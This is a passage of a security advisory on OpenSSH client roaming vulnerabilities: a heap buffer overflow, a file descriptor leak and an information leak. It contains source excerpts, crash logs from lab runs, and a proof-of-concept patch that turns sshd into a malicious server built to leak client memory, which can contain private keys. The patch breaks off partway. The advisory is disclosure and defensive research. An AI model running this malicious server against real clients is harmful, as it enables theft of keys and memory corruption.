fprintf(stderr, \"[connection suspended, press return to resume]\");\n... \n252         packet_backup_state();\n253         /* TODO Perhaps we should read from tty here */\n254         while ((c = fgetc(stdin)) != EOF) {\n... \n259                 if (c != \u0027\\n\u0027 \u0026\u0026 c != \u0027\\r\u0027)\n260                         continue;\n261\n262                 if (ssh_connect(host, \u0026hostaddr, options.port,\n... \n265                     options.proxy_command) == 0 \u0026\u0026 roaming_resume() == 0) {\n266                         packet_restore_state();\n... \n268                         fprintf(stderr, \"[connection resumed]\\n\");\n... \n270                         return 0;\n271                 }\n272\n273                 fprintf(stderr, \"[reconnect failed, press return to retry]\");\n... \n275         }\n276         fprintf(stderr, \"[exiting]\\n\");\n... \n278         exit(0);\n279 }\n\n1. packet_backup_state() close()s connection_in and connection_out (the\nold file descriptors that connected the client to the server), and saves\nthe state of the suspended SSH session (for example, the encryption and\ndecryption contexts). \n\n2. ssh_connect() opens new file descriptors, and connects them to the\nSSH server. \n\n3. roaming_resume() negotiates the resumption of the suspended SSH\nsession with the server, and calls resend_bytes(). \n\n4. packet_restore_state() updates connection_in and connection_out (with\nthe new file descriptors that connect the client to the server), and\nrestores the state of the suspended SSH session. \n\nThe new file descriptors for connection_in and connection_out may differ\nfrom the old ones (if, for example, files or pipes or sockets are opened\nor closed between two successive ssh_connect() calls), but unfortunately\nhistorical code in OpenSSH assumes that they are constant:\n\n- In client_loop(), the variables connection_in and connection_out are\n  cached locally, but packet_write_poll() calls roaming_write(), which\n  may assign new values to connection_in and connection_out (if a\n  reconnection occurs), and client_wait_until_can_do_something()\n  subsequently reuses the old, cached values. \n\n- client_loop() eventually updates these cached values, and the\n  following FD_ISSET() uses a new, updated file descriptor (the fd\n  connection_out), but an old, out-of-date file descriptor set (the\n  fd_set writeset). \n\n- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)\n  first calloc()ates setp, a file descriptor set for connection_in;\n  next, it loops around memset(), FD_SET(), select() and roaming_read();\n  last, it free()s setp and returns. Unfortunately, roaming_read() may\n  reassign a higher value to connection_in (if a reconnection occurs),\n  but setp is never enlarged, and the following memset() and FD_SET()\n  may therefore overflow setp (a heap-based buffer overflow):\n\n1048 int\n1049 packet_read_seqnr(u_int32_t *seqnr_p)\n1050 {\n.... \n1052         fd_set *setp;\n.... \n1058         setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_in + 1,\n1059             NFDBITS), sizeof(fd_mask));\n.... \n1065         for (;;) {\n.... \n1075                 if (type != SSH_MSG_NONE) {\n1076                         free(setp);\n1077                         return type;\n1078                 }\n.... \n1083                 memset(setp, 0, howmany(active_state-\u003econnection_in + 1,\n1084                     NFDBITS) * sizeof(fd_mask));\n1085                 FD_SET(active_state-\u003econnection_in, setp);\n.... \n1092                 for (;;) {\n.... \n1097                         if ((ret = select(active_state-\u003econnection_in + 1, setp,\n1098                             NULL, NULL, timeoutp)) \u003e= 0)\n1099                                 break;\n.... \n1115                 }\n.... \n1117                 do {\n.... \n1119                         len = roaming_read(active_state-\u003econnection_in, buf,\n1120                             sizeof(buf), \u0026cont);\n1121                 } while (len == 0 \u0026\u0026 cont);\n.... \n1130         }\n1131         /* NOTREACHED */\n1132 }\n\n- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is\n  basically similar to packet_read_seqnr() and may overflow its own setp\n  if roaming_write() (called by packet_write_poll()) reassigns a higher\n  value to connection_out (after a successful reconnection):\n\n1739 void\n1740 packet_write_wait(void)\n1741 {\n1742         fd_set *setp;\n.... \n1746         setp = (fd_set *)xcalloc(howmany(active_state-\u003econnection_out + 1,\n1747             NFDBITS), sizeof(fd_mask));\n1748         packet_write_poll();\n1749         while (packet_have_data_to_write()) {\n1750                 memset(setp, 0, howmany(active_state-\u003econnection_out + 1,\n1751                     NFDBITS) * sizeof(fd_mask));\n1752                 FD_SET(active_state-\u003econnection_out, setp);\n.... \n1758                 for (;;) {\n.... \n1763                         if ((ret = select(active_state-\u003econnection_out + 1,\n1764                             NULL, setp, NULL, timeoutp)) \u003e= 0)\n1765                                 break;\n.... \n1776                 }\n.... \n1782                 packet_write_poll();\n1783         }\n1784         free(setp);\n1785 }\n\n------------------------------------------------------------------------\nMitigating Factors\n------------------------------------------------------------------------\n\nThis buffer overflow affects all OpenSSH clients \u003e= 5.4, but its impact\nis significantly reduced by the Mitigating Factors detailed in the\nInformation Leak section, and additionally:\n\n- OpenSSH versions \u003e= 6.8 reimplement packet_backup_state() and\n  packet_restore_state(), but introduce a bug that prevents the buffer\n  overflow from being exploited; indeed, ssh_packet_backup_state() swaps\n  two local pointers, ssh and backup_state, instead of swapping the two\n  global pointers active_state and backup_state:\n\n  9 struct ssh *active_state, *backup_state;\n... \n238 void\n239 packet_backup_state(void)\n240 {\n241         ssh_packet_backup_state(active_state, backup_state);\n242 }\n243\n244 void\n245 packet_restore_state(void)\n246 {\n247         ssh_packet_restore_state(active_state, backup_state);\n248 }\n\n2269 void\n2270 ssh_packet_backup_state(struct ssh *ssh,\n2271     struct ssh *backup_state)\n2272 {\n2273         struct ssh *tmp;\n.... \n2279         if (backup_state)\n2280                 tmp = backup_state;\n2281         else\n2282                 tmp = ssh_alloc_session_state();\n2283         backup_state = ssh;\n2284         ssh = tmp;\n2285 }\n.... \n2291 void\n2292 ssh_packet_restore_state(struct ssh *ssh,\n2293     struct ssh *backup_state)\n2294 {\n2295         struct ssh *tmp;\n.... \n2299         tmp = backup_state;\n2300         backup_state = ssh;\n2301         ssh = tmp;\n2302         ssh-\u003estate-\u003econnection_in = backup_state-\u003estate-\u003econnection_in;\n\n  As a result, the global pointer backup_state is still NULL when passed\n  to ssh_packet_restore_state(), and crashes the OpenSSH client when\n  dereferenced:\n\n# env ROAMING=\"overflow:A fd_leaks:0\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -o ProxyCommand=\"/usr/bin/nc -w 15 %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Segmentation fault (core dumped)\n\n  This bug prevents the buffer overflow from being exploited, but not\n  the information leak, because the vulnerable function resend_bytes()\n  is called before ssh_packet_restore_state() crashes. \n\n------------------------------------------------------------------------\nFile Descriptor Leak\n------------------------------------------------------------------------\n\nA back-of-the-envelope calculation indicates that, in order to increase\nthe file descriptor connection_in or connection_out, and thus overflow\nthe file descriptor set setp in packet_read_seqnr() or\npacket_write_wait(), a file descriptor leak is needed:\n\n- First, the number of bytes calloc()ated for setp is rounded up to the\n  nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)\n  on 64-bit systems. \n\n- Next, in glibc, this number is rounded up to the nearest multiple of\n  MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit\n  systems. \n\n- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit\n  systems, of which 24 bytes (or 192 file descriptors) are reserved for\n  setp. \n\n- In conclusion, a file descriptor leak is needed, because connection_in\n  or connection_out has to be increased by hundreds in order to overflow\n  setp. \n\nThe search for a suitable file descriptor leak begins with a study of\nthe behavior of the four ssh_connect() methods, when called for a\nreconnection by wait_for_roaming_reconnect():\n\n1. The default method ssh_connect_direct() communicates with the server\nthrough a simple TCP socket: the two file descriptors connection_in and\nconnection_out are both equal to this socket\u0027s file descriptor. \n\nIn wait_for_roaming_reconnect(), the low-numbered file descriptor of the\nold TCP socket is close()d by packet_backup_state(), but immediately\nreused for the new TCP socket in ssh_connect_direct(): the new file\ndescriptors connection_in and connection_out are equal to this old,\nlow-numbered file descriptor, and cannot possibly overflow setp. \n\n2. The special ProxyCommand \"-\" communicates with the server through\nstdin and stdout, but (as explained in the Mitigating Factors of the\nInformation Leak section) it cannot possibly reconnect to the server,\nand is therefore immune to this buffer overflow. \n\n3. Surprisingly, we discovered a file descriptor leak in the\nssh_proxy_fdpass_connect() method itself; indeed, the file descriptor\nsp[1] is never close()d:\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103     const char *proxy_command)\n 104 {\n ... \n 106         int sp[2], sock;\n ... \n 113         if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) \u003c 0)\n 114                 fatal(\"Could not create socketpair to communicate with \"\n 115                     \"proxy dialer: %.100s\", strerror(errno));\n ... \n 161         close(sp[0]);\n ... \n 164         if ((sock = mm_receive_fd(sp[1])) == -1)\n 165                 fatal(\"proxy dialer did not pass back a connection\");\n ... \n 171         /* Set the connection file descriptors. */\n 172         packet_set_connection(sock, sock);\n 173\n 174         return 0;\n 175 }\n\nHowever, two different reasons prevent this file descriptor leak from\ntriggering the setp overflow:\n\n- The method ssh_proxy_fdpass_connect() communicates with the server\n  through a single socket received from the ProxyCommand: the two file\n  descriptors connection_in and connection_out are both equal to this\n  socket\u0027s file descriptor. \n\n  In wait_for_roaming_reconnect(), the low-numbered file descriptor of\n  the old socket is close()d by packet_backup_state(), reused for sp[0]\n  in ssh_proxy_fdpass_connect(), close()d again, and eventually reused\n  again for the new socket: the new file descriptors connection_in and\n  connection_out are equal to this old, low-numbered file descriptor,\n  and cannot possibly overflow setp. \n\n- Because of the waitpid() bug described in the Mitigating Factors of\n  the Information Leak section, the method ssh_proxy_fdpass_connect()\n  calls fatal() before it returns to wait_for_roaming_reconnect(), and\n  is therefore immune to this buffer overflow. \n\n4. The method ssh_proxy_connect() communicates with the server through a\nProxyCommand and two different pipes: the file descriptor connection_in\nis the read end of the second pipe (pout[0]), and the file descriptor\nconnection_out is the write end of the first pipe (pin[1]):\n\n 180 static int\n 181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)\n 182 {\n ... \n 184         int pin[2], pout[2];\n ... \n 192         if (pipe(pin) \u003c 0 || pipe(pout) \u003c 0)\n 193                 fatal(\"Could not create pipes to communicate with the proxy: %.100s\",\n 194                     strerror(errno));\n ... \n 240         /* Close child side of the descriptors. */\n 241         close(pin[0]);\n 242         close(pout[1]);\n ... \n 247         /* Set the connection file descriptors. */\n 248         packet_set_connection(pout[0], pin[1]);\n 249\n 250         /* Indicate OK return */\n 251         return 0;\n 252 }\n\nIn wait_for_roaming_reconnect(), the two old, low-numbered file\ndescriptors connection_in and connection_out are both close()d by\npacket_backup_state(), and immediately reused for the pipe(pin) in\nssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of\nthese old, low-numbered file descriptors, and cannot possibly overflow\nsetp. \n\nOn the other hand, the pipe(pout) in ssh_proxy_connect() may return\nhigh-numbered file descriptors, and the new connection_in (pout[0]) may\ntherefore overflow setp, if hundreds of file descriptors were leaked\nbefore the call to wait_for_roaming_reconnect():\n\n- We discovered a file descriptor leak in the pubkey_prepare() function\n  of OpenSSH \u003e= 6.8; indeed, if the client is running an authentication\n  agent that does not offer any private keys, the reference to agent_fd\n  is lost, and this file descriptor is never close()d:\n\n1194 static void\n1195 pubkey_prepare(Authctxt *authctxt)\n1196 {\n.... \n1200         int agent_fd, i, r, found;\n.... \n1247         if ((r = ssh_get_authentication_socket(\u0026agent_fd)) != 0) {\n1248                 if (r != SSH_ERR_AGENT_NOT_PRESENT)\n1249                         debug(\"%s: ssh_get_authentication_socket: %s\",\n1250                             __func__, ssh_err(r));\n1251         } else if ((r = ssh_fetch_identitylist(agent_fd, 2, \u0026idlist)) != 0) {\n1252                 if (r != SSH_ERR_AGENT_NO_IDENTITIES)\n1253                         debug(\"%s: ssh_fetch_identitylist: %s\",\n1254                             __func__, ssh_err(r));\n1255         } else {\n.... \n1288                 authctxt-\u003eagent_fd = agent_fd;\n1289         }\n.... \n1299 }\n\n  However, OpenSSH clients \u003e= 6.8 crash in ssh_packet_restore_state()\n  (because of the NULL-pointer dereference discussed in the Mitigating\n  Factors of the Buffer Overflow section) and are immune to the setp\n  overflow, despite this agent_fd leak. \n\n- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH\n  client (it is disabled by default), a malicious SSH server can request\n  hundreds of forwardings, in order to increase connection_in (each\n  forwarding opens a file descriptor), and thus overflow setp in\n  packet_read_seqnr():\n\n# env ROAMING=\"overflow:A\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007f0474d03e70 ***\nAborted (core dumped)\n\n# env ROAMING=\"overflow:X\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/ssh -X -o ProxyCommand=\"/usr/bin/socat - TCP4:%h:%p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n*** Error in `/usr/bin/ssh\u0027: free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***\n*** Error in `/usr/bin/ssh\u0027: malloc(): memory corruption: 0x00007fdcc2a3abc0 ***\n\nFinally, a brief digression on two unexpected problems that had to be\nsolved in our proof-of-concept:\n\n- First, setp can be overflowed only in packet_read_seqnr(), not in\n  packet_write_wait(), but agent forwarding and X11 forwarding are post-\n  authentication functionalities, and post-authentication calls to\n  packet_read() or packet_read_expect() are scarce, except in the\n  key-exchange code of OpenSSH clients \u003c 6.8: our proof-of-concept\n  effectively forces a rekeying in order to overflow setp in\n  packet_read_seqnr(). \n\n- Second, after a successful reconnection, packet_read_seqnr() may call\n  fatal(\"Read from socket failed: %.100s\", ...), because roaming_read()\n  may return EAGAIN (EAGAIN is never returned without the reconnection,\n  because the preceding call to select() guarantees that connection_in\n  is ready for read()). Our proof-of-concept works around this problem\n  by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,\n  allowing data to reach the client before roaming_read() is called,\n  thus avoiding EAGAIN. \n\n\n========================================================================\nAcknowledgments\n========================================================================\n\nWe would like to thank the OpenSSH developers for their great work and\ntheir incredibly quick response, Red Hat Product Security for promptly\nassigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall\nProject for the interesting discussions. \n\n\n========================================================================\nProof Of Concept\n========================================================================\n\ndiff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c\n--- openssh-6.4p1/auth2-pubkey.c\t2013-07-17 23:10:10.000000000 -0700\n+++ openssh-6.4p1+roaming/auth2-pubkey.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)\n \t\t * if a user is not allowed to login. is this an\n \t\t * issue? -markus\n \t\t */\n-\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key))) {\n+\t\tif (PRIVSEP(user_key_allowed(authctxt-\u003epw, key)) || 1) {\n+\t\t\tdebug(\"%s: force client-side load_identity_file\",\n+\t\t\t    __func__);\n \t\t\tpacket_start(SSH2_MSG_USERAUTH_PK_OK);\n \t\t\tpacket_put_string(pkalg, alen);\n \t\t\tpacket_put_string(pkblob, blen);\ndiff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c\n--- openssh-6.4p1/kex.c\t2013-06-01 14:31:18.000000000 -0700\n+++ openssh-6.4p1+roaming/kex.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],\n }\n \n static void\n+roaming_reconnect(void)\n+{\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);\n+\tconst u_int id = packet_get_int(); /* roaming_id */\n+\tdebug(\"%s: id %u\", __func__, id);\n+\tpacket_check_eom();\n+\n+\tconst char *const dir = get_roaming_dir(id);\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tconst int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, dir, errno);\n+\tif (fchdir(fd) != 0)\n+\t\tfatal(\"%s: fchdir %s errno %d\", __func__, dir, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, dir, errno);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);\n+\tpacket_put_int64(arc4random()); /* chall */\n+\tpacket_put_int64(arc4random()); /* oldchall */\n+\tpacket_send();\n+\n+\tpacket_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);\n+\tconst u_int64_t client_read_bytes = packet_get_int64();\n+\tdebug(\"%s: client_read_bytes %llu\", __func__,\n+\t    (unsigned long long)client_read_bytes);\n+\tpacket_get_int64(); /* digest (1-8) */\n+\tpacket_get_int64(); /* digest (9-16) */\n+\tpacket_get_int();   /* digest (17-20) */\n+\tpacket_check_eom();\n+\n+\tu_int64_t client_write_bytes;\n+\tsize_t len = sizeof(client_write_bytes);\n+\tload_roaming_file(\"client_write_bytes\", \u0026client_write_bytes, \u0026len);\n+\tdebug(\"%s: client_write_bytes %llu\", __func__,\n+\t    (unsigned long long)client_write_bytes);\n+\n+\tu_int client_out_buf_size;\n+\tlen = sizeof(client_out_buf_size);\n+\tload_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size, \u0026len);\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0 || client_out_buf_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: client_out_buf_size %u\", __func__,\n+\t\t\t   client_out_buf_size);\n+\n+\tpacket_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);\n+\tpacket_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);\n+\tpacket_send();\n+\tconst int overflow = (access(\"output\", F_OK) == 0);\n+\tif (overflow != 0) {\n+\t\tconst void *const ptr = load_roaming_file(\"output\", NULL, \u0026len);\n+\t\tbuffer_append(packet_get_output(), ptr, len);\n+\t}\n+\tpacket_write_wait();\n+\n+\tchar *const client_out_buf = xmalloc(client_out_buf_size);\n+\tif (atomicio(read, packet_get_connection_in(), client_out_buf,\n+\t\t\t       client_out_buf_size) != client_out_buf_size)\n+\t\tfatal(\"%s: read client_out_buf_size %u errno %d\", __func__,\n+\t\t\t\tclient_out_buf_size, errno);\n+\tif (overflow == 0)\n+\t\tdump_roaming_file(\"infoleak\", client_out_buf,\n+\t\t\t\t\t      client_out_buf_size);\n+\tfatal(\"%s: all done for %s\", __func__, dir);\n+}\n+\n+static void\n kex_choose_conf(Kex *kex)\n {\n \tNewkeys *newkeys;\n@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)\n \t\t\tkex-\u003eroaming = 1;\n \t\t\tfree(roaming);\n \t\t}\n+\t} else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {\n+\t\troaming_reconnect();\n+\t\t/* NOTREACHED */\n+\t\tfatal(\"%s: returned from %s\", __func__, KEX_RESUME);\n \t}\n \n \t/* Algorithm Negotiation */\ndiff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h\n--- openssh-6.4p1/roaming.h\t2011-12-18 15:52:52.000000000 -0800\n+++ openssh-6.4p1+roaming/roaming.h\t2016-01-07 01:04:15.000000000 -0800\n@@ -42,4 +42,86 @@ void\tresend_bytes(int, u_int64_t *);\n void\tcalculate_new_key(u_int64_t *, u_int64_t, u_int64_t);\n int\tresume_kex(void);\n \n+#include \u003cfcntl.h\u003e\n+#include \u003cstdio.h\u003e\n+#include \u003cstring.h\u003e\n+#include \u003csys/stat.h\u003e\n+#include \u003csys/types.h\u003e\n+#include \u003cunistd.h\u003e\n+\n+#include \"atomicio.h\"\n+#include \"log.h\"\n+#include \"xmalloc.h\"\n+\n+static inline char *\n+get_roaming_dir(const u_int id)\n+{\n+\tconst size_t buflen = MAXPATHLEN;\n+\tchar *const buf = xmalloc(buflen);\n+\n+\tif ((u_int)snprintf(buf, buflen, \"/tmp/roaming-%08x\", id) \u003e= buflen)\n+\t\tfatal(\"%s: snprintf %u error\", __func__, id);\n+\treturn buf;\n+}\n+\n+static inline void\n+dump_roaming_file(const char *const name,\n+    const void *const buf, const size_t buflen)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buf == NULL)\n+\t\tfatal(\"%s: %s buf %p\", __func__, name, buf);\n+\tif (buflen \u003c= 0 || buflen \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s buflen %lu\", __func__, name, (u_long)buflen);\n+\n+\tconst int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tif (write(fd, buf, buflen) != (ssize_t)buflen)\n+\t\tfatal(\"%s: write %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+}\n+\n+static inline void *\n+load_roaming_file(const char *const name,\n+    void *buf, size_t *const buflenp)\n+{\n+\tif (name == NULL)\n+\t\tfatal(\"%s: name %p\", __func__, name);\n+\tif (strchr(name, \u0027/\u0027) != NULL)\n+\t\tfatal(\"%s: name %s\", __func__, name);\n+\tif (buflenp == NULL)\n+\t\tfatal(\"%s: %s buflenp %p\", __func__, name, buflenp);\n+\n+\tconst int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);\n+\tif (fd \u003c= -1)\n+\t\tfatal(\"%s: open %s errno %d\", __func__, name, errno);\n+\tstruct stat st;\n+\tif (fstat(fd, \u0026st) != 0)\n+\t\tfatal(\"%s: fstat %s errno %d\", __func__, name, errno);\n+\tif (S_ISREG(st.st_mode) == 0)\n+\t\tfatal(\"%s: %s mode 0%o\", __func__, name, (u_int)st.st_mode);\n+\tif (st.st_size \u003c= 0 || st.st_size \u003e MAX_ROAMBUF)\n+\t\tfatal(\"%s: %s size %lld\", __func__, name,\n+\t\t    (long long)st.st_size);\n+\n+\tif (buf == NULL) {\n+\t\t*buflenp = st.st_size;\n+\t\tbuf = xmalloc(*buflenp);\n+\t} else {\n+\t\tif (*buflenp != (size_t)st.st_size)\n+\t\t\tfatal(\"%s: %s size %lld buflen %lu\", __func__, name,\n+\t\t\t    (long long)st.st_size, (u_long)*buflenp);\n+\t}\n+\tif (read(fd, buf, *buflenp) != (ssize_t)*buflenp)\n+\t\tfatal(\"%s: read %s errno %d\", __func__, name, errno);\n+\tif (close(fd) != 0)\n+\t\tfatal(\"%s: close %s errno %d\", __func__, name, errno);\n+\treturn buf;\n+}\n+\n #endif /* ROAMING */\ndiff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c\n--- openssh-6.4p1/serverloop.c\t2013-07-17 23:12:45.000000000 -0700\n+++ openssh-6.4p1+roaming/serverloop.c\t2016-01-07 01:04:15.000000000 -0800\n@@ -1060,6 +1060,9 @@ server_request_session(void)\n \treturn c;\n }\n \n+static int client_session_channel = -1;\n+static int server_session_channel = -1;\n+\n static void\n server_input_channel_open(int type, u_int32_t seq, void *ctxt)\n {\n@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in\n \t\tc-\u003eremote_window = rwindow;\n \t\tc-\u003eremote_maxpacket = rmaxpack;\n \t\tif (c-\u003etype != SSH_CHANNEL_CONNECTING) {\n+\t\t\tdebug(\"%s: avoid client-side buf_append\", __func__);\n+\t\t\t/*\n \t\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n \t\t\tpacket_put_int(c-\u003eremote_id);\n \t\t\tpacket_put_int(c-\u003eself);\n \t\t\tpacket_put_int(c-\u003elocal_window);\n \t\t\tpacket_put_int(c-\u003elocal_maxpacket);\n \t\t\tpacket_send();\n+\t\t\t*/\n+\t\t\tif (strcmp(ctype, \"session\") == 0) {\n+\t\t\t\tif (client_session_channel != -1)\n+\t\t\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t\t\t    __func__, client_session_channel);\n+\t\t\t\tclient_session_channel = c-\u003eremote_id;\n+\t\t\t\tserver_session_channel = c-\u003eself;\n+\t\t\t}\n \t\t}\n \t} else {\n \t\tdebug(\"server_input_channel_open: failure %s\", ctype);\n@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in\n }\n \n static void\n+roaming_disconnect(Kex *const kex)\n+{\n+\tconst char *cp, *roaming = getenv(\"ROAMING\");\n+\tif (roaming == NULL)\n+\t\troaming = \"infoleak\";\n+\tint overflow = 0;\n+\tif ((cp = strstr(roaming, \"overflow:\")) != NULL)\n+\t\toverflow = cp[9];\n+\n+\tconst u_int client_recv_buf_size = packet_get_int();\n+\tpacket_check_eom();\n+\tconst u_int server_recv_buf_size = get_recv_buf_size();\n+\tconst u_int server_send_buf_size = get_snd_buf_size();\n+\tdebug(\"%s: client_recv_buf_size %u\", __func__, client_recv_buf_size);\n+\tdebug(\"%s: server_recv_buf_size %u\", __func__, server_recv_buf_size);\n+\tdebug(\"%s: server_send_buf_size %u\", __func__, server_send_buf_size);\n+\n+\tu_int client_send_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_send_buf_size:\")) != NULL)\n+\t\tclient_send_buf_size = strtoul(cp + 21, NULL, 0);\n+\telse if (client_recv_buf_size == DEFAULT_ROAMBUF)\n+\t\tclient_send_buf_size = DEFAULT_ROAMBUF;\n+\telse {\n+\t\tconst u_int\n+\t\t    max = MAX(client_recv_buf_size, server_recv_buf_size),\n+\t\t    min = MIN(client_recv_buf_size, server_recv_buf_size);\n+\t\tif (min \u003c= 0)\n+\t\t\tfatal(\"%s: min %u\", __func__, min);\n+\t\tif (((u_int64_t)(max - min) * 1024) / min \u003c 1)\n+\t\t\tclient_send_buf_size = server_send_buf_size;\n+\t\telse\n+\t\t\tclient_send_buf_size = client_recv_buf_size;\n+\t}\n+\tdebug(\"%s: client_send_buf_size %u\", __func__, client_send_buf_size);\n+\tif (client_send_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_send_buf_size\", __func__);\n+\n+\tu_int id = 0;\n+\tchar *dir = NULL;\n+\tfor (;;) {\n+\t\tid = arc4random();\n+\t\tdebug(\"%s: id %u\", __func__, id);\n+\t\tfree(dir);\n+\t\tdir = get_roaming_dir(id);\n+\t\tif (mkdir(dir, S_IRWXU) == 0)\n+\t\t\tbreak;\n+\t\tif (errno != EEXIST)\n+\t\t\tfatal(\"%s: mkdir %s errno %d\", __func__, dir, errno);\n+\t}\n+\tdebug(\"%s: dir %s\", __func__, dir);\n+\tif (chdir(dir) != 0)\n+\t\tfatal(\"%s: chdir %s errno %d\", __func__, dir, errno);\n+\n+\tu_int client_out_buf_size = 0;\n+\tif ((cp = strstr(roaming, \"client_out_buf_size:\")) != NULL)\n+\t\tclient_out_buf_size = strtoul(cp + 20, NULL, 0);\n+\telse if (overflow != 0)\n+\t\tclient_out_buf_size = MAX_ROAMBUF;\n+\telse\n+\t\tclient_out_buf_size = 1 + arc4random() % 4096;\n+\tdebug(\"%s: client_out_buf_size %u\", __func__, client_out_buf_size);\n+\tif (client_out_buf_size \u003c= 0)\n+\t\tfatal(\"%s: client_out_buf_size\", __func__);\n+\tdump_roaming_file(\"client_out_buf_size\", \u0026client_out_buf_size,\n+\t\t\t\t\t   sizeof(client_out_buf_size));\n+\n+\tif ((cp = strstr(roaming, \"scp_mode\")) != NULL) {\n+\t\tif (overflow != 0)\n+\t\t\tfatal(\"%s: scp_mode is incompatible with overflow %d\",\n+\t\t\t    __func__, overflow);\n+\n+\t\tu_int seconds_left_to_sleep = 3;\n+\t\tif ((cp = strstr(cp, \"sleep:\")) != NULL)\n+\t\t\tseconds_left_to_sleep = strtoul(cp + 6, NULL, 0);\n+\t\tdebug(\"%s: sleep %u\", __func__, seconds_left_to_sleep);\n+\n+\t\tif (client_session_channel == -1)\n+\t\t\tfatal(\"%s: client_session_channel %d\",\n+\t\t\t    __func__, client_session_channel);\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_int(server_session_channel);\n+\t\tpacket_put_int(0); /* server window */\n+\t\tpacket_put_int(0); /* server maxpacket */\n+\t\tpacket_send();\n+\n+\t\tpacket_start(SSH2_MSG_CHANNEL_DATA);\n+\t\tpacket_put_int(client_session_channel);\n+\t\tpacket_put_string(\"\\0\\n\", 2); /* response\u0026source|sink\u0026run_err */\n+\t\tpacket_send();\n+\n+\t\tpacket_read_expect(SSH2_MSG_CHANNEL_REQUEST);\n+\t\tpacket_get_int(); /* server channel */\n+\t\tdebug(\"%s: channel request %s\", __func__,\n+\t\t    packet_get_cstring(NULL));\n+\n+\t\twhile (seconds_left_to_sleep)\n+\t\t\tseconds_left_to_sleep = sleep(seconds_left_to_sleep);\n+\t}\n+\n+\tpacket_start(SSH2_MSG_REQUEST_SUCCESS);\n+\tpacket_put_int(id); /* roaming_id */\n+\tpacket_put_int64(arc4random()); /* cookie */\n+\tpacket_put_int64(0); 